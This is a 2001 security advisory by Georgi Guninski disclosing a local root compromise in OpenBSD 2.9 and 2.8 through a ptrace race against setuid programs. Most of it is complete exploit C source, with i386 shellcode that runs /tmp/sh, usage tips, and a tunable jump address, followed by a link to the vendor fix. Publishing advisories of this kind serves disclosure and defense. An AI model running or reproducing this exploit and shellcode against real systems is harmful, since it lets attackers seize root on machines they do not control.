openbsdrace.txt

` [email protected] Georgi Guninski security advisory #47, 2001  
  
OpenBSD 2.9,2.8 local root compromise  
  
Systems affected:  
OpenBSD 2.9,2.8  
Have not tested on other OSes but they may be vulnerable  
  
Risk: High  
Date: 14 June 2001  
  
Legal Notice:  
This Advisory is Copyright (c) 2001 Georgi Guninski.  
You may distribute it unmodified.  
You may not modify it and distribute it or distribute parts  
of it without the author's written permission.  
  
Disclaimer:  
The information in this advisory is believed to be true based on  
experiments though it may be false.  
The opinions expressed in this advisory and program are my own and  
not of any company. The usual standard disclaimer applies,  
especially the fact that Georgi Guninski is not liable for any damages  
caused by direct or indirect use of the information or functionality  
provided by this advisory or program. Georgi Guninski bears no  
responsibility for content or misuse of this advisory or program or  
any derivatives thereof.  
  
Description:  
  
There is local root compromise in OpenBSD 2.9, 2.8 due to a race  
probably in the kernel. This is quite similar to the linux kernel  
race several months ago.  
  
Details:  
By forking a few process it is possible to attach to +s pid with ptrace.  
The process seems to be in a strange state when it is attached.  
Contrary to the man info PT_DETACH allows specifying an address to which  
execution is continued.  
  
Exploit:  
  
http://www.guninski.com/vvopenbsd.c  
  
/* Written by Georgi Guninski http://www.guninski.com  
Tested on OpenBSD 2.9 and 2.8  
Works best after reboot - the +s program must not be executed before,  
seems  
executes /tmp/sh  
/tmp/su must be a link to +s program  
if the +s program has been executed, create and run shell script the  
size of RAM  
You may need to type "fg" if the program receives stop signal  
you may need to run the program several times  
*/  
  
#include <stdio.h>  
#include <fcntl.h>  
#include <sys/types.h>  
#include <signal.h>  
#include <sys/ptrace.h>  
#include <sys/wait.h>  
#include <limits.h>  
#include <errno.h>  
#include <stdlib.h>  
#include <machine/reg.h>  
  
int me=0;  
  
void endit(int x)  
{  
if(!me)  
{  
printf("exiting\n");  
exit(0);  
}  
}  
  
extern char **environ;  
int main(int ac, char **av)  
{  
  
volatile struct reg pt;  
  
//exec "/tmp/sh"  
char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"  
"\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"  
"\xb0\x3b\x50\xcd\x80\x90\x90\x90";  
  
int j,status,sig;  
volatile int done=0;  
volatile static int done2=0;  
int pid,pid2,i;  
int num; // number of processes to fork. 20 works for me on Pentium500  
int target;  
  
char *env1;  
// address of $joro where execution of shell code begins.may need to be  
changed  
unsigned int breakat=0xdfbfddaf;  
num=20;  
pid=getpid();  
if(!getenv("joro"))  
{  
setenv("joro",bsdshell,1);  
if (execle(av[0],"a",NULL,environ))  
perror("exec");  
}  
else  
breakat=(int)getenv("joro");  
printf("Written by Georgi Guninski\nShall jump to %x\n",breakat);  
target=pid;  
printf("Started pid1=%d target=%d\n",pid,target);  
for(i=0;i<num;i++)  
{  
if (!done)  
if(! (pid2 = fork()))  
{  
signal(SIGURG,&endit);  
pid2=getpid();  
while(!done)  
{  
if (!ptrace(PT_ATTACH, target,NULL,NULL))  
{  
done=1;  
printf("\nAttached!\n");  
  
wait(&status);  
sig=WSTOPSIG(status);  
  
printf("sig=%d %s\n",status,sys_siglist[sig]);  
ptrace(PT_GETREGS,target,(caddr_t)&pt,NULL);  
printf("eip=%x esp=%x\n",pt.r_eip,pt.r_esp);  
  
me=1;  
done2 +=1;  
  
ptrace(PT_DETACH, target,(caddr_t)breakat,NULL);  
  
//sleep(2);  
kill(0,SIGURG);  
sleep(4);  
while(42)  
kill(target,SIGCONT);  
}  
}  
}  
}  
// "/tmp/su" must be symbolic link to +s program .  
// the program must not be executed before.  
execle("/tmp/su","/usr/bin/su",NULL,environ);  
}  
  
Solution:  
http://www.openbsd.org/errata.html#kernexec  
  
Vendor status:  
OpenBSD was informed on 9 June 2001.  
`